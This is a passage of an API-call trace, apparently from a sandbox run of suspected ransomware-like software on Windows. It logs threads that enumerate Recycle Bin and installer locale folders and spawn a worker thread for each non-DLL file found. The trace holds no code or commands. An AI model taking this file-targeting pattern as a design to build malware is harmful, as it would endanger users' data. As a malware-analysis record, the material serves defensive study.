	[0073.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4731b48
	[0073.302] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x4731b48 | out: lpFindFileData=0x4731b48*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.305] wcscmp (_String1=".", _String2=".") returned 0
	[0073.306] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x4731b48 | out: lpFindFileData=0x4731b48*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.306] wcscmp (_String1="..", _String2=".") returned 1
	[0073.306] wcscmp (_String1="..", _String2="..") returned 0
	[0073.306] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x4731b48 | out: lpFindFileData=0x4731b48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.306] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0073.306] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0073.306] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x4731b48 | out: lpFindFileData=0x4731b48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0073.306] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b48) returned 1
	[0073.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1
	[0073.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71540) returned 1

Thread:
	id = 41
	os_tid = 0xf84

	[0073.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2d54800
	[0073.307] wcscpy (in: _Dest=0x2d54800, _Source="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000"
	[0073.307] wcscat (in: _Dest=0x2d54800, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\"
	[0073.307] wcscat (in: _Dest=0x2d54800, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*"
	[0073.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.307] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71540
	[0073.307] wcscmp (_String1=".", _String2=".") returned 0
	[0073.307] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.307] wcscmp (_String1="..", _String2=".") returned 1
	[0073.307] wcscmp (_String1="..", _String2="..") returned 0
	[0073.307] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.307] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0073.307] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0073.307] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0073.307] FindClose (in: hFindFile=0x2d71540 | out: hFindFile=0x2d71540) returned 1
	[0073.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54800) returned 1
	[0073.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a0c0) returned 1

Thread:
	id = 42
	os_tid = 0xfcc

	[0073.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.308] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0073.308] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0073.308] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1025\\*") returned="C:\\588bce7c90097ed212\\1025\\*"
	[0073.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.309] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71540
	[0073.310] wcscmp (_String1=".", _String2=".") returned 0
	[0073.310] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.310] wcscmp (_String1="..", _String2=".") returned 1
	[0073.310] wcscmp (_String1="..", _String2="..") returned 0
	[0073.310] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.310] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.310] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730e70
	[0073.310] wcscpy (in: _Dest=0x4730e70, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0073.310] wcscat (in: _Dest=0x4730e70, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0073.310] wcscat (in: _Dest=0x4730e70, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf"
	[0073.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0073.311] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.311] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.311] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79e30
	[0073.311] wcscpy (in: _Dest=0x2d79e30, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0073.311] wcscat (in: _Dest=0x2d79e30, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0073.311] wcscat (in: _Dest=0x2d79e30, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml"
	[0073.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0073.312] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.312] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.312] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.312] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.312] FindClose (in: hFindFile=0x2d71540 | out: hFindFile=0x2d71540) returned 1
	[0073.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d715c0) returned 1

Thread:
	id = 43
	os_tid = 0x12c4

	[0073.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.313] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0073.313] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0073.313] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1028\\*") returned="C:\\588bce7c90097ed212\\1028\\*"
	[0073.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.313] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71540
	[0073.313] wcscmp (_String1=".", _String2=".") returned 0
	[0073.313] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.313] wcscmp (_String1="..", _String2=".") returned 1
	[0073.313] wcscmp (_String1="..", _String2="..") returned 0
	[0073.313] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.313] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.313] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730f10
	[0073.314] wcscpy (in: _Dest=0x4730f10, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0073.314] wcscat (in: _Dest=0x4730f10, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0073.314] wcscat (in: _Dest=0x4730f10, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf"
	[0073.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0073.314] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.314] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.314] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79e98
	[0073.314] wcscpy (in: _Dest=0x2d79e98, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0073.314] wcscat (in: _Dest=0x2d79e98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0073.314] wcscat (in: _Dest=0x2d79e98, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml"
	[0073.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0073.315] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.315] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.315] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.315] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.315] FindClose (in: hFindFile=0x2d71540 | out: hFindFile=0x2d71540) returned 1
	[0073.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d710c0) returned 1

Thread:
	id = 44
	os_tid = 0x1114

	[0073.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.316] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0073.316] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0073.316] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1029\\*") returned="C:\\588bce7c90097ed212\\1029\\*"
	[0073.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d710c0
	[0073.317] wcscmp (_String1=".", _String2=".") returned 0
	[0073.317] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.317] wcscmp (_String1="..", _String2=".") returned 1
	[0073.317] wcscmp (_String1="..", _String2="..") returned 0
	[0073.317] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.317] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.317] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4731000
	[0073.317] wcscpy (in: _Dest=0x4731000, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0073.317] wcscat (in: _Dest=0x4731000, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0073.317] wcscat (in: _Dest=0x4731000, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf"
	[0073.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4731000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0073.318] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.318] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.318] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79f00
	[0073.318] wcscpy (in: _Dest=0x2d79f00, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0073.318] wcscat (in: _Dest=0x2d79f00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0073.318] wcscat (in: _Dest=0x2d79f00, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml"
	[0073.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0073.328] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.328] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.328] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
